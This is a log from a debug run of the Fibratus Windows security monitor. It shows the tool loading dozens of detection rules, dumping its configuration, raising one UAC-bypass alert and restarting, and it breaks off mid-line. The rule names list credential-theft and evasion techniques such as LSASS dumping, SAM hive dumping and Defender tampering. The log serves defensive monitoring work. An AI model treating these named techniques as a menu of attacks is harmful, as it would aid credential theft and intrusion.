source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:50:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:50:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:50:41+01:00 level=info msg=bootstrapping with pid 14576. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:50:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-audit-api=>true enable-net=>true enable-handle=>false enable-dns=>false enable-vamap=>true enable-thread=>true enable-image=>true enable-threadpool=>false enable-mem=>false enable-registry=>true stack-enrichment=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json enable-gzip=>false] elasticsearch=>[ sniff=>false flush-period=>1s timeout=>5s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus trace-log=>false healthcheck-interval=>10s bulk-workers=>1 enabled=>false healthcheck=>true gzip-compression=>false template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false passive=>false vhost=>/ timeout=>5s durable=>false exchange=>fibratus]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:50:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:50:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:51:03+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-11-25T15:51:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:51:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:51:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:52:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from 